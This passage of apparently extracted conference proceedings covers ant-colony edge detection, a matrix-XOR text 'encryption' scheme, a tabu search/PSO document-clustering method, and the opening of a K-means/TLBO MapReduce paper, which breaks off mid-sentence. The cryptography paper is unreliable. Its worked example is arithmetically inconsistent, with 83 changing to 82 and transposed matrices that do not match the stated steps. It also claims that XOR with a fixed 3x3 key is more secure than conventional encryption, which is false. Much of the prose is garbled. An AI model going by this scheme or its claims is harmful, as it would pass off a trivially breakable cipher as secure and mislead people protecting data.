the data in a regulation to find a systematic flawless solution. They advise the search
procedure logically, examining the finding space to find neighboring optimal
solutions, and assimilate mechanisms are captured which are kept away from it.
Such algorithms are mainly used to resolve the merging and exponential optimi-
zation problems within both the academia and the industry. The different algorithms
which come under this category are Genetic Algorithms (GAs), Evolutionary
Strategies (ESs), Particle Swarm Optimization (PSO), Differential Evolution (DE),
Ant colony optimization (ACO), Artificial Bee Colony (ABC), Harmony Search
(HS), and Teaching–Learning-Based Optimization (TLBO) [7].
3.2 Ant Colony Optimization
In 1992, Marco Dorigo (Italy), while his Ph.D. thesis is going on, proposed an Ant
System, and then in 1997, ant colony was built up by Gambardella Dorigo. The Ant
colony optimization has appeared recently as a correlative novel metaheuristic for a
tough combination of optimization problems. This is used to simulate the capacity
of ant colonies to perceive the shortest paths for food. Although each ant has its
own individual capacity, their performance in a colony is capable of complex
behavior. Real ants can communicate indirectly, with each based on pheromone
without any visual clues and also have a capacity to build up the abridge way
among food sources and their nests. The real ants accumulate the pheromone on the
stream while walking, and the remaining ants follow the pheromone stream to some
extent, which are commensurate to the density of the pheromone. Most of the ants
travel on the stream and accumulate the pheromone on it, and in the mean while,
more and more ants follow this stream. In this process, ants will find out the shortest
path. While coming to artificial ants, they emulate the behavior of real ants, i.e.,
how they scour the food and they can resolve more complicated obstacles than real
ants can [8].
A search algorithm with some idea is called Ant colony optimization. Figure 2
shows how the ants build up the shortest path.
Fig. 2 Path of ants from food to nest
4 Edge Detection on an Image Using Ant Colony

Optimization
Edge detection on an image can be an obstacle for finding the image pixels which
represent the edges. A digital image which is having two dimensions can be
symbolized as a two-dimensional matrix with the image pixels. Artificial ants are
connected through an image from one pixel to another. The movements of ants are
guided based on intensity values of the neighborhood pixels. The main purpose of
ant’s movement is to build up a final pheromone matrix of an image pixel and
signifies either the pixel is an edge or not.
4.1 Initialization Process
In initialization process, each and every ant was issued with a random position in
the image. In pheromone matrix, there is a fixed value of every element which is
considered as a constant and small value but nonzero. The heuristic information
matrix is established by the intensity values which depend on the regional differ-
ences. The heuristic information is determined during initialization since it is
dependent upon the pixel values of an image which is constant.
4.2 Iterative Construction and Update Process
In each and every iteration to complete the construction, every ant moves through
the image from one pixel to other one. Based on pseudorandom proportional rule,
ant moves to the neighbor pixel from the current pixel.
The ant automatically works on a regional area and updates it whenever an ant
comes near to the pixel which is associated to the pheromone. An ant can pass to
any neighboring pixel, but this is enclosed by the rule that an ant can move only to a
node which is not visited by that ant recently. This is to eliminate the repeated
visiting of the same node by the ants. Each ant has a memory to keep the list of
repeatedly visited notes. After completion of a visiting process by each and every
ant, they build up the process and the global pheromone streamline is consummate
on pixels that have been seen by at least one ant.
In the ACO-based edge detection approval, a single ant does not goal to con-
gregate a complete possible solution to the problem. Alternatively, the main aim of
each and every ant is to build only a limited edge trace of the image. The composite
interaction of the ants constructs a pheromone matrix, which can be helpful to form
a complete edge trace of image.
4.3 Decision Process
The final pheromone matrix will be useful to segment every pixel either as an edge
or a nonedge. The final decision is done by appealing a threshold in the last
pheromone matrix.
Fig. 3 [9] Pheromone functions using those parameters value for generating, updating, and for
decision. a Image parameters using alpha. b Image parameters using beta c Image parameters
using rho. d Image parameters using phi
5 Results and Observations
Experiments are conducted to observe the detection applied on the edges of an

image in Ant colony optimization. The results obtained were from a standard
image. Experiments were done in MATLAB (Fig. 3).
6 Conclusion
An ACO-based image edge detection algorithm takes advantage to introduce

developments in ACS that has been prosperously build up and tested. These
empirical results display the capability of the process in specifying edges in an
image. The algorithm enables prosperous identification on edges in a canonical test
image using relevant parameter values. It must be noticed that the parameter values
which are close to the nature of the image may vary in every application.
References
1. Juneja, M., Sandhu, P.S.: Performance evaluation of edge detection techniques for images in
spatial domain. Int. J. Comput. Theor. Eng. 1(5) (2009)
2. Naraghi, M.G., Koohi, M., Shakery, A.: Edge detection in multispectural images based on
structural elements. Int. J. Multimedia Its Appl. (IJMA) 3(1) (2011)
3. Lakshumu Naidu, D., Rao, C.S.: A hybrid approach for image edge detection using neural
network and particle swarm optimization. Springer Publications
4. Hingrajiya, K.H., Gupta, R.K., Chandel, G.S.: An ant colony optimization algorithm for solving
travelling salesman problem. Int. J. Sci. Res. Publ. 2(8) (2012)
5. Rashmi, M.K., Saxena, R.: Algorithm and technique on various edge detection: a survey, signal
& image processing. Int. J. (SIPIJ) 4(3) (2013)
6. Shrivakshan, G.T.: A comparison of various edge detection techniques used in image
processing. IJCSI Int. J. Comput. Sci. 9(5) (2012)
7. Črepinšek, M., Liu, S.-H., Mernik, L.: A note on teaching–learning-based optimization
algorithm. Information Sciences
8. Zar Chi Su Su Hlaing, May Aye Khine: Member, IACSIT, Solving traveling salesman problem
by using improve ant colony optimization algorithm. Int. J. Inf. Edu. Technol. 1(5) (2011)
9. Image Source is from MathWork.com
Cryptography Technique for a Novel Text
Using Mathematical Functions
P. Prudvi Raj and Ch. Seshadri Rao
Abstract The encryption/decryption process is applied to text to provide security.

In this work, I propose a novel method to perform encryption and decryption. In
this process, one text is taken. Text is divided into set of three components, together
with a private key. I built a content-addressable memory (CAM). This represents
the encrypted text. The decryption process will do it in a reverse way. The benefit of
the proposed model is that the plaintext and ciphertext will not be in the same
dimension and the ciphertext was also represented in image format. The entire
process uses a secret key for the process of encryption.
Keywords Text encryption Associative memory Mathematical functions
1 Introduction
Cryptography [1] is a task of hiding information using encryption. It is a mecha-

nism which is used to secure the data whenever the transmission is going through
the internet. It provides communication between sender and receiver, public
agencies. Today, it is a backbone of the security mechanism, and this mechanism is
used to secure the information on open and closed networks.
Encryption and decryption are the two methodologies which are present in
cryptography. The plain text is the contents of a source file which is unencrypted in
this cryptography mechanism. The method of differentiating cleartext in such a way
to secure the information is called encryption. Encrypted cleartext results are not in
P.P. Raj (&) Ch.S. Rao

Department of Computer Science and Engineering, Anil Neerukonda Institute of Technology
and Sciences, Sangivalasa, Bheemunipatnam [M], Visakhapatnam, India
e-mail: prudvi.patta@gmail.com
Ch.S. Rao
e-mail: seshadri.rao@gmail.com

602 P.P. Raj and Ch.S. Rao
an understandable format, which are called as ciphertext. The process of retrieving

ciphertext to its original cleartext is called decryption. This algorithm works in a
composition of a key along with words and paragraphs to encrypt the cleartext. The
same cleartext is encrypted to ciphertext using many keys.
Actually, when we use encryption/decryption algorithm, it is originally based
upon a secret key [2] which may have a numerical value with specific properties.
And this algorithm is applied for decryption which is given to ciphertext. In this
algorithm, it uses a specific key and that key is also used for encryption procedures.
The encrypting data which are static are mainly used for traditional encryption.
Secret key and public key are some of the entrenched encryption algorithms.
For encrypting text, there are some more algorithms presented. In those algo-
rithms, some are used for agreeable decimal ASCII codes and followed into binary
numbers, and used to handle the procedure [3–5] for changing the order of bits. For
complete encryption process, we used a secret key. To encrypt and decrypt the data,
we use string as a key and that string is transformed from a private key.
2 Related Work
An existent encryption algorithm is given in paper [5, 6], which proposes the
encryption algorithm depending on ASCII value of the message to be encrypted.
This algorithm uses secret key of length equal to the length of message. Secret key
is encrypted to different keys and used for encryption and decryption process. User
has to enter the key for this system. If the message has additional length, then
system asks user to enter a key equal to the length of message. When the user enters
a big key, existing method does not take the big key as it takes only the length equal
to length of the key. So this is the disadvantage of this algorithm, and this algorithm
has more execution time. So, these are the two drawbacks of existing algorithm.
3 Proposed Model
3.1 Encryption Algorithm
In order to justify both algorithms: encryption and decryption.

Encryption means the process of changing the cleartext into ciphertext. In this
cryptography mechanism, plaintext is the contents of a source file which is unen-
crypted. This is also known as cleartext. The method of differentiating the plaintext
in such a way to secure the information is called encryption.
Cryptography Technique for a Novel Text … 603
Encryption
Plain Cipher
algorithm
text text
Key
Show in image
Algorithm for Encryption:

Step 1:
consider the plaintext or stream of text
Step divide that into 3 elements ðY1 ; Y2 ; Y3 ! Y matrixÞ
2:
Step 3:
convert each element into ASCII code of Y matrix
Step compute transpose of Y matrix as YT matrix
4:
Step convert ASCII code YT matrix into binary format
5:
Step 6:
consider our own secret key(X matrix)
Step 7:
covert the X matrix into binary format
Step perform Exclusive-or ðÞ between X and Y
8:
X Y ¼ XY þ YX
Step 9: the resultant matrix ðMÞ is the encrypted format of plain text stored into the
associative memory as an image format.
Suppose the sentence: Hello Ram
1. Group of 3 letters are formed as follows:
Hel
lo
Ram.
Each letter of the sentence is converted to the ASCII numbers as follows:
Y1 ¼ ½72 101 108
Y2 ¼ ½108 111 32
Y3 ¼ ½83 97 109:
The above vectors are representing the output patterns. Now, we have to con-
struct the input patterns, which is the secret key. The three input vectors have a
dimension of three, and they are built as follows:
X 1 ¼ ½ 9 0 1
X 2 ¼ ½ 0 1 9
X3 ¼ ½1 9 0:
With these pair of patterns, we apply the encryption algorithm for a CAM:
0 1 0 1
72 101 108 9 0 1
Y ¼ @ 108 111 32 A X ¼ @0 1 9 A:
82 97 109 1 9 0
Transpose of Y matrix is
0 1
72 108 82
YT ¼ @ 101 111 97 A:
108 32 109

These two matrices YT and X are converted into the binary format.
Apply the exclusive-or operation between YT and X matrices:
0 1 0 1
72 108 82 9 0 1
YT X ¼ @ 101 111 97 A @ 0 1 9A
108 32 109 1 9 0
0 1
65 101 109
M ¼ @ 108 110 41 A
83 104 109
(Associative memory representing the encrypted text)

In resultant matrix ðMÞ, the data will be in encrypted form of a plaintext and it
converts into an image form, which is stored in associative memory. First of all, we
can conceive that the image which we got is from the image which is encrypted. We
implement the cryptanalysis to change the text to the original image without any
doubt. This is the main advantage in our proposal system.
3.2 Decryption Algorithm
The process of retrieving ciphertext to its original cleartext is called decryption:
Show in image Retrieval cipher text from Decryption

algorithm
Plain
text Key
Step 1: consider the resultant matrix M

Step 2: compute transpose of M matrix as MT matrix
Step 3: convert matrix MT into binary format
Step 4: consider our own private key X
Step 5: covert matrix X into binary number format
Step 6: perform exclusive-or ðÞ operation between MT and X
Step 7: the resultant matrix is converted to the ASCII code and finally we have the
original text.
The matrix M is presented to the CAM, as follows:
0 1 0 1
65 101 109 9 0 1
M ¼ @ 108 110 41 A X ¼ @0 1 9 A:
83 104 109 1 9 0
Transpose of M matrix is
0 1
65 108 83
MT ¼ @ 101 110 104 A:
109 41 109

These two matrices MT and X are converted into the binary format.
Apply the exclusive-or operation between MT and X matrices.
0 1 0 1
65 108 83 9 0 1
MT X ¼ @ 101 110 104 A @ 0 1 9A
109 41 109 1 9 0
0 1
72 108 82
MT X ¼ @ 101 111 97 A:
108 32 109
The resultant matrix is converted to the ASCII code, and finally, we have the
original text.
4 Results
There are two phases:

Encryption:
72 108 82
Y = 101 111 97
108 32 109
Decryption:
72 108 82
101 111 97
108 32 109
5 Conclusion
Here, I conclude that using a proposed novel text encryption method, we can
provide more secure communication compared with the conventional encryption
methods. For further extension, we can use some other techniques like DNA, etc.
References
1. Mandrel, A.: Introduction to Cryptography with open-source software. CRC Press, pp. 4–5
(2011)
2. Ayesha: A symmetric key cryptographic algorithm. IJCSE (0975–8887) 1(15) (2010)
3. Solanki, K.H., Patel, C.R.: New symmetric key cryptographic algorithm for enhancing security
of data (IJRCSEE) 1(3) (2012)
4. Mathur, A.: A research paper: an ASCII value based data encryption algorithm and its
comparison with other symmetric data encryption algorithms (IJCSE) 4(9), 1650–1657 (2012)
5. Kiran Kumar, M., Rasool, S., Mukthyar Azam, S.: Efficient digital encryption algorithm based
on matrix scrambling technique. Int. J. Netw. Secur. Its Appl. (IJNSA) 2(4), 30–41 (2010)
6. Ramesh, G., Umarani, R.: A novel symmetrical encryption algorithm with high security based
on key updating. IJCEA 2(5), 329–341 (2011)
A New Hybrid Approach for Document
Clustering Using Tabu Search and Particle
Swarm Optimization (TSPSO)
T. Haribabu and S. Jayaprada
Abstract Clustering of text documents is the quickest developing research area,

because of the availability of vast amount of information in an electronic form. To
solve this document cluster analysis difficulties more efficiently and quickly, this
paper proposes a hybrid method using tabu search particle swarm optimization
(TSPSO). First, the automatic merging optimization clustering (AMOC) algorithm
was performed for the formation of clusters and then implemented the optimization
model using the variance ratio criterion (VRC) as fitness function .Second, this
paper combines TS and PSO algorithm to use the exploration of both algorithms
and to avoid flaws of both algorithms .The testing of TSPSO algorithm is performed
on several standard datasets, and the results are compared with PSO and TS. So, the
proposed TSPSO is efficient and effective for the problem of document clustering;
we have tested PSO, TS, and our proposed TSPSO algorithm on various text
document collections.
Keywords Clustering Particle swarm optimization Tabu search
1 Introduction
Clustering is the major process in engineering and in various fields of scientific

research, which tries to group a set of points into clusters such that points in the
same cluster are more homogeneous to each other when compared to the points in
different clusters [2]. Document clustering is nothing but grouping the documents
based on similarity among the documents in an unsupervised manner. Document
T. Haribabu (&) S. Jayaprada

Department of Computer Science and Engineering, Anil Neerukonda Institute of Technology
and Sciences, Sangivalasa, Bheemunipatnam [M], Visakhapatnam, India
e-mail: talluri.haribabu@gmail.com
S. Jayaprada
e-mail: jayaprada.suri@gmail.com

610 T. Haribabu and S. Jayaprada
clustering is used in quick topic extraction or filtering and information retrieval. We

are facing an ever increasing volume of text documents. The texts flowing over are
then termed vast collections of documents in repositories, digital libraries, and
digitized personal information such as articles and e-mails. These have brought
challenges for the effective and efficient organization of text documents.
The rest of the paper is mentioned here such that Sect. 2 describes the partitional
clustering. Section 3 provides general overview of TS and PSO and new approach
of integrating PSO and TS, and encoding strategy. Section 4 describes experiments
and results, and finally Sect. 5 provides conclusion and future work.
2 Partitional Clustering
Partitional clustering algorithms describe that there is a maximum similarity within

the clusters and minimum dissimilarity between the clusters [1]. The very popular
partition-based clustering algorithm is K-means algorithm because of its easy
implementation and simplicity. But the main drawback is that it is difficult to
predict the K value. To overcome the drawback, we are using automatic merging of
optimal clusters (AMOC). The aim of AMOC is to automatically generate optimal
clusters for the given datasets. The AMOC is an addition to k-means with a
two-phase iterative procedure merging the validation techniques in order to find
optimal clusters by automatically combining the clusters.
Let X = {X1, X2,…, Xm} be a set of m objects, and every individual object in Xi is
represented as [xi1, xi2,…xin] where n is the number of attributes. This algorithm
takes k-max as the upper bound of the number of clusters. It iteratively integrates
with the clusters having lower probability with its nearest cluster and validates the
merging result using Rand index.
Steps:
1. Initialize kmax to the square root of total number of objects.
2. Assign objects of kmax, randomly to the centroids of cluster
3. Using k-means, find the clusters
4. Calculate the Rand index.
5. Find a cluster that has minimal probability and combine with its closest cluster.
Recalculate Rand index and centroids, and decrease the number of clusters by
one. If the recently calculated Rand index is more than the previous Rand index,
then update it with cluster centroids and number of clusters with the newly
calculated values.
6. Whenever the step 5 has been executed for every cluster, then go to step 7, or
else go to step 5.
7. Whenever if there is no difference in the number of clusters, then stop, or else go
to step 2.
A New Hybrid Approach for Document Clustering Using Tabu Search … 611
2.1 Criterion Function
The variance ratio criterion (VRC) is the mostly widely used partitioned clustering
strategy [4]:
Bd n k
VRC ¼ : ð1Þ
Wd k 1
Here, Bd and Wd denote the between- and within-cluster variations, respectively.

They are defined as
Xk Xnj
Wd ¼ j¼1 i¼1
ðoij oj ÞT ðoij oj Þ ð2Þ
Xk
Bd ¼ j¼1
nj ðoj oÞT ðoj oÞ; ð3Þ
where nj denotes the cardinal of the cluster cj , oij denotes the ith object assigned to
the cluster cj ,
o denotes the n-dimensional vector of overall sample means (data
centroid), and oj denotes the n-dimensional vector of sample means within jth
cluster (cluster centroid). Between-cluster variations ðk 1Þ are the degree of
freedom, and within-cluster variations ðn kÞ are the degree of freedom.
As a consequence, compact and separated clusters are assumed to have mini-
mum values of Wd and maximum values of Bd. Hence, if we perform the data
partition in a better way, then we will get the high value of VRC. The normalization
term ðn kÞ=ðk 1Þ limits the ratio to increase monotonically the number of
clusters, so that VRC is used as an optimization (maximization) criterion.
3 TSPSO Overview
3.1 Pso
Particle swarm optimization (PSO) [3] is a computational method that optimizes a

problem by iteratively trying to enhance a candidate solution considering the
measure of quality. PSO optimizes a problem by having a candidate solution and
moving these particles around in the search space according to simple mathematical
formulae over the position and velocity of particles:
Vid ¼ w vid þ c1 rand1 ðpid xid Þ þ c2 rand2 ðpgd xid Þ ð4Þ
xid = xid + vid ; ð5Þ
where w is the inertia weight factor; pid is the location of the element value that
realizes the local best value; pgd is the location of the elements that realizes a overall
best value; c1 and c2 are called as the acceleration coefficients and constants,
respectively; d is the dimension of the search domain; and rand1 and rand2 refers to
the arbitrary values distributed in the interval [0, 1].
Each and every particle’s shift is affected by its local best position and is also
accompanied toward the best familiar positions in the space, which are upgraded as
better positions which are found by specific particles [6]. This will make the swarm
closer to the best position. The PSO clustering algorithm in a step-by-step overview
is given below:
Step 1: Initialize the population randomly.
Step 2: Perform the following for each particle:
(a) Using the velocity and particle position to update Eqs. (4) and (5) and to
generate the next solution.
(b) Compute the fitness value using fitness function (1).
Step 3: Perform Step (2) again and again till any of the below conditions are
fulfilled:
(a) The number of iterations performed reaches maximum or minimum.
(b) The average change in fitness values is negligible.
3.2 Tabu Search
Fred Glover proposed an approach in 1986, which is called as TS, used to allow
local search (LS) methods to overcome local optima. The main concept of TS is to
pursue LS whenever it reaches a local optimum by allowing non-improving moves.
The difference between metaheuristic approaches and tabu search is that tabu search
is based on the notion of tabu list, that is, the combination of before visited solu-
tions including disallow moves. We are using short-term memory, so it reserves few
of the attributes of solutions instead of whole solution. So it does not grant any
permission to revisited solutions
Steps:
Step 1: Create initial solution x.
Step 2: Initialize the tabu list.
Step 3: While set of X″ candidate solutions is not complete.
Step 3.1: Compute x″ candidate solution from present solution x
Step 3.2: Add x″ to X″ if x″ at least one aspiration criterion is satisfied.
Step 4: Select the best x* candidate solution in X″.
Clusters Objects
1 1,6,8
2 2,5,7
3 3,4,9
xi1 xi2 xi3 xi4 xi5 xi6 xi7 xi8 xi9

1 2 3 3 2 1 2 1 3
Fig. 1 An encoding representation
Step 5: If fitness(x) < fitness(x*), then x = x*.

Step 6: Then tabu list is updated.
Step 7: If termination criteria are reached, then finish.
3.3 Encoding Strategy
The search space is obtained as n-dimension because of n objects. Each object is

considered as a dimension, and the ith individual Xi = {xi1, xi2,….,xim} is matching
to the fondness of n objects, such that xij €{1, 2,…, k}, where K denotes the number
of clusters, j denotes the j-th object, and i represents the i-th individual. Suppose
n = 9, k = 3, the first cluster holds the 1st, 6th, and 8th object; the second cluster
holds the 2nd, 5th, and 7th object; and the third cluster holds the 3rd, 4th, and 9th
object. The encoding of this cluster solution is shown in Fig. 1.
3.4 TSPSO
In this section, we introduced the TSPSO algorithm. The algorithm combines PSO
technique with TS. Particle swarm optimization (PSO) is a computational method
used to optimize the results by iteratively trying to enhance a candidate solution
with a view to a given measure of quality. It is a meta heuristic method, and it
makes some or no hypothesis about the difficulties being optimized and can search
more spaces of applicant solutions. It will not use the gradient of the trouble being
optimized, which means that PSO is not required for the optimization problem but it
is to be distinguished as is required by classic optimization methods such as
quasi-newton methods. Gradient descent PSO is also used on optimization prob-
lems which are relatively noisy, asymmetry, adjusting, etc. However, PSO suffers
from the following two aspects: (I) It is easy to be confined into local minima; and
(II) It costs too much time to converge especially in a complex high-dimensional
space. When the optimal solution is found, all the particles are situated at the same
local minimum. After finding the optimal solution, it is impossible for the particles
to move and do further searching because of the velocity update equation. To
overcome aforementioned problem, we proposed hybrid approach which combines
the PSO and TS considering that TS belongs to the class of local search techniques.
Fig. 2 TSPSO flow chart
To overcome this drawback, we merge PSO with a local search algorithm called
TS. We combine TS and PSO algorithm to use the exploration ability of both
algorithms and to avoid flaws of each other.
The flow chart of TSPSO is shown in Fig. 2.
The TSPSO steps are listed below:
Steps:
Step1. The population is initialized randomly;
Step 2. Compute the fitness function (1) for each particles
Step 3. Randomly divide the population into two halves:
(a) one half of population was updated by PSO., i.e., update the position and
velocity of each particle.
(b) The another half of population was updated by TS. It searches the local best
solution for each particle.
Step 4. Merge the two halves of the population, and update the “pbest” and “gbest”
particles and the tabu list (TL).
Step 5. Iterate Step 2–Step 4 whenever termination condition was reached.
Step 6. Output the result.
4.1 Datasets
Here, we are using three different datasets for comparing the performance of TS,
PSO, and TSPSO algorithms. These document datasets are taken from CLUTO [5].
The representation of the datasets is shown in Table 1. The documents were pre-
processed by standard procedures such as stop word removal, stemming, TF-IDF
weighting, and normalization. Document datasets are large and high dimension.
The dataset contains 204–414 documents.
4.2 Experimental Setup
The new proposed algorithm is coded on the platform of Windows 7 on desktop PC

with Intel Pentium 4, 3 GHz processor, and 2 GB RAM. The algorithm was
in-house developed via the statistics toolbox and fuzzy toolbox of MATLAB
2013a. Our program can run in any desktop installing MATLAB
4.3 Results
VRC average values through fitness function are used for fitness value calculation
in TSPSO, PSO, and TS. The same fitness function is also used for analyzing the
excellence of clusters formed.VRC represents the mean distance between docu-
ments and the cluster centroid. If the VRC value is higher, it means that the last
outcome is more efficient. The VRC values at each iteration are noted for the three
algorithms to show the congregation attribute of all the methods. The highest VRC
value was produced by TSPSO clustering approach. Our proposed new method
Table 1 Representation of datasets

Data Source Number of documents Number of terms Number of classes
tr11 TREC 414 6429 9
tr12 TREC 313 5804 8
tr23 TREC 204 5832 6
Fig. 3 VRC best values
Fig. 4 VRC average values
TSPSO produces the highest VRC value for the datasets. TSPSO is moderately
better than the PSO method and TS.
Figure 3 shows the performance of different methods on three given different
datasets using the VRC best values.
Figure 4 shows the performance of different methods on three given different
datasets using the VRC average values. From Figs. 3 and 4, it is clear that TSPSO is
moderately better than the PSO and TS.
A hybrid algorithm that uses tabu search and basic PSO is proposed to solve the
problem of document clustering. PSO has been proved as an effective optimization
technique to solve combinatorial optimization problems. Tabu search, an efficient
local search procedure, helps to explore the solutions in different regions of solu-
tions. This paper proposes a hybrid algorithm as a blended technique that combines
features of basic PSO and TS. The quality of solutions obtained by hybrid algorithm
strongly substantiates the effectiveness of the algorithm for the document clustering
in IR system. We also compared the TSPSO with PSO and TS. The results show
that TSPSO is having the largest VRC values among all the algorithms. It concludes
that TSPSO is effective for the document cluster analysis problem. Future work will
contain the more standard datasets to test the performance of the TSPSO.
References
1. Jaganathan, P., Jaiganesh, S.: An improved K-means algorithm combined with Particle Swarm
Optimization approach for efficient web document clustering. In: International Conference on
Green Computing, Communication and Conservation of Energy (ICGCE), IEEE (2013)
2. Yaghini, M., Ghazanfari, N.: Tabu-KM: a hybrid clustering algorithm based on tabu search
approach. Int. J. Ind. Eng. Prod. Res. 21, 71–79 (2010)
3. Vora, P., Oza, B.: A survey on K-mean clustering and particle swarm optimization. Int. J. Sci.
Mod. Eng. (IJISME) 1(3), 24–26 (2013). ISSN: 2319-6386
4. Zhang, Y., Li, D.: Cluster analysis by variance ratio criterion and firefly algorithm. Int. J. Digital
Content Technol. Appl. (JDCTA) 7(3), 689 (2013)
5. karypis, G.: CLUTO a clustering Toolkit. Technical report, Department of Computer Science,
University .of Minnesota (2013). http://glaros.dtc.umn.edu/*gkhome/views/cluto
6. Premalatha, K., Natarajan, A.M.: Discrete PSO with GA operators for document clustering. Int.
J. Recent Trends Eng. 1(1), 20–24 (2009)
An Effective and Efficient Clustering
Based on K-Means Using MapReduce
and TLBO
Praveen Kumar Pedireddla and Sunita A. Yadwad
Abstract A plethora of clustering methods were developed since time unknown,

but these methods have failed to prove that they are flawlessly efficient and also to
give an optimized result in the field it might be that, parallel programming technique
like MapReduce and evolutionary methods of computation address solutions to this
issue as well. We use this limitation as an advantage to combine a new efficient
method for optimization, ‘Teaching Learning based Optimization (TLBO)’ and a
new parallel programing technique called MapReduce to develop a new approach to
provide good quality clusters. In this paper, teaching learning based optimization is
collaborated along with Parallel K-means Using MapReduce. Firstly, it makes K-
means with MapReduce to work with massive amount of data and after that it takes
the advantage of global search ability of TLBO to provide a global optimal result.
Keywords K-means clustering TLBO optimization Hadoop MapReduce
1 Introduction
Clustering algorithms are divided into two broad categories named as supervised and
unsupervised learning. Our work in this paper mainly focuses on unsupervised
clustering. Many unsupervised clustering algorithms are developed over time. In
these, all K-means is generally utilized for its straightforwardness and proficiency.
With the quick improvement of web, the information we have to process is expanding
in petabytes. K-Means has limited processing capability because of its time com-
plexity in serial scenario. The two major drawbacks of K-means are: (1) It depends on
the initial cluster center which was taken randomly and (2) It converges to local
P.K. Pedireddla (&) S.A. Yadwad

e-mail: praveen1271kumar@gmail.com
S.A. Yadwad
e-mail: sunitayadwad@gmail.com

620 P.K. Pedireddla and S.A. Yadwad
optimum values of cluster. This will affect effectiveness of the clustering result. So,
due to such condition many research papers have been published. To overcome the
first condition, that is initial cluster center, many modified variants of K-means have
been proposed and to overcome the local optimum problem many papers with
combination of K-means with some evolutionary techniques have been proposed [1].
In KGA-clustering, they have used K-means with combination of GA to exploit the
searching capability of K-means to avoid its major limitation of getting stuck at local
optimum. In [2] the combination of teaching–learning based optimization and K-
means provides arbitrary data after data clustering. So, many researchers are trying to
give their own contribution to resolve this issue more efficiently.
It was also identified that K-means is not suitable for processing massive amount
of data because of its time complexity in serial scenario. To overcome this problem,
many researchers have introduced parallelization into the algorithms. In [3] it
proposes the parallel K-Means using MPI (Message passing Interface). It helps us
better in the time complexity of large datasets. In [4] it proposes Parallel K-Means
Clustering Based on MapReduce, where the proposed calculation was connected
productively for substantial datasets and test results were outlined. Accordingly, the
time complexity of K-means decreased essentially and memory necessity of a single
machine was removed because it distributed over the collection of machines. In [4]
they used MapReduce to parallelize the K-means algorithm. It demonstrates that the
method is of high scalability and efficiency.
To increase efficiency and effectiveness of K-means for clustering analysis, in
this paper we propose a new method combining the K-Means with TLBO based on
MapReduce in which the focus is on enhancing the global search capability of K-
means by taking TLBO to optimize its initial centers and improving the perfor-
mance of K-means by transferring it from serial to parallel execution with Hadoop
MapReduce.
The rest of the paper flow is as follows: In Sect. 2 we give a detailed introduction
about MapReduce. Section 3 gives the introduction to the K-means and TLBO
algorithms. Section 4 gives point by point perspective of proposed framework. In
Sect. 5 we have given the Experimental Results. In Sect. 6 we concluded the paper.
2 MapReduce Framework
2.1 About
MapReduce is a parallel programming model which is used to process large vol-

umes of data and was first proposed by Google [5, 6] and later implemented for
Hadoop by Doug Cutting. The programming idea of this model is to split the
dataset into number of splits; each split is assigned to one mapper and each mapper
will generate a <Key, value> pair and these mapper outputs will be merged together
by the reducer. The last reducer yield is the <key, List of Values>. By utilizing this,
the undertaking will be executed in parallel and with higher speed.
An Effective and Efficient Clustering Based on K-Means … 621
2.2 MapReduce Functionality
The two key parts of MapReduce are Map and Reduce, which are designed by the
programmers according to the usage. Map task is used for splitting the task into
number of sub tasks and run parallel in distributed mode, and Reduce task is used
for gathering the results which are having similar key values and merge the results
[7]. Both map and reduce functions exhibit inverse practices. Further, the key-value
sets can likewise be composed by the developer himself. The functionality of Map
and Reduce can be described as follows: During the Map phase, each data-split is
divided into a number of key-value pairs <K1, V1> to perform as the input of the
Mapper. Throughout the Map operation, each <K1, V1> is transformed into another
key-value pair <K2, V2>. Then, a list of <K2, V2> pairs from different Mappers is
grouped by the shuffle and sort phase, and sorted according to the key and all the
values with the same key are put into a new list to get <K2, list <V2>>.
Partition <K2, list <V2>> by key into different mappers, and after that send them to
particular Reduce center points according to the extent of the keys. During the
Reduce period, each Reducer sorts <K2, list <V2>> received from different
Mappers by key and processes them to get intended <K3, V3>. At that point, the
last <K3, V3> are put away back to the stable storage called HDFS.
Map: map\K1; V1 [ [ list\K2; V2 [ ð1Þ
Reduce: reduce\K2; list\V2 [ [ [ list\K3; V3 [ ð2Þ
3 K-Means and TLBO (Teaching–Learning Based

Optimization) Algorithms
3.1 K-Means Algorithm
Clustering is the process of grouping similar types of objects. K-Means is one of the
simplest heuristic search techniques. It is a learning algorithm unsupervised in
nature that solves the clustering problem. K-Means algorithm groups the set of data
points into predefined number of clusters. In this regard it uses a similarity measure.
The most widely used similarity measure is Euclidian distance-means clustering
[8]; to group data into user specified number of clusters for this purpose we need to
define initial cluster number prior to the algorithm [9].
Algorithm will proceed as follows:
• First, we outline k centroid one for each cluster.
• Further we place each of the centroid far away from every one.
• By taking every point fitting in with a given dataset and then associate it to its
nearest centroid.
• At the point when we do not have a point which is pending, the first step is
finished and an early gathering is finished.
• Calculate K new centroids from the resulting clusters by calculating the mean of
all data points in a cluster.
• Reiterate the above steps until there is no change of area of centroid as made.
The step-by-step procedure of algorithm is as follows
Step 1: The algorithm is given a set of n-dimensional data points and desired
number of cluster centroid.
Data points :{ x1, x2, x3 …xn} and cluster number: K
Step 2: select k samples from data points {x1, x2, x3………xn} randomly as the
initial cluster centers c1, c2 …ck.
Step 3: calculate the similarity measure (Euclidian Distance) between the k centers
and data points and each sample in the data point is assigned to the nearest cluster
based on the minimum Euclidean distance.
d ðxi ; ci Þ\d ðxi ; cm Þ where i; m ¼ 1; 2; 3; . . .. . .k and i 6¼ m ð3Þ
Step 4: calculate the new centers C*1, C*2 … C*k by calculating the mean of all data
points in a group.
Step 5: if Ci = C*i where i = 1, 2, 3 … k then the algorithm is stopped.
3.2 TLBO Algorithm
TLBO algorithm is an algorithm which is clearly based on teaching–learning

process where the effect of influence of a teacher on a group of learners in a class
can be monitored. Algorithm consists of two parts: a teacher and a learner [10]. The
results of the learners depending on the quality of teaching are considered as output
of the algorithm. So, teacher is considered as a highly able person who trains other
persons to get better results in terms of performance. Learners can learn from other
peer learners by interacting with each other which is also used to improve the result
of an entire class.
TLBO is an algorithm distinct control parameterless technique which uses gen-
eral parameters like populace size and number of eras as the essential parameters to
process. Group learners in that area are taken as a population for the algorithm and
subjects assigned to them are design variables. The result obtained by the different
learners is considered as ‘fitness’ value of the algorithm [10]. In the entire popula-
tion, teacher is the most resourceful person. Working of TLBO is categorized into
two phases: ‘Teaching’ and ‘Learning.’ Working of two phases is given below.
3.2.1 Teacher Phase
This phase of the algorithm simulates the preparation of the learners by the
instructor. During the teacher phase, teacher delivers knowledge among the learners
and puts maximum effort to increase the average percentage of result of the class.
Suppose there are ‘m’ number of subjects assigned to ‘n’ number of students
(learners), i.e., Population size is l = 1, 2, 3…..n. At any teaching–learning iteration
k, meani,k is mean consequence of the learner in a specific subject i. Teacher is the
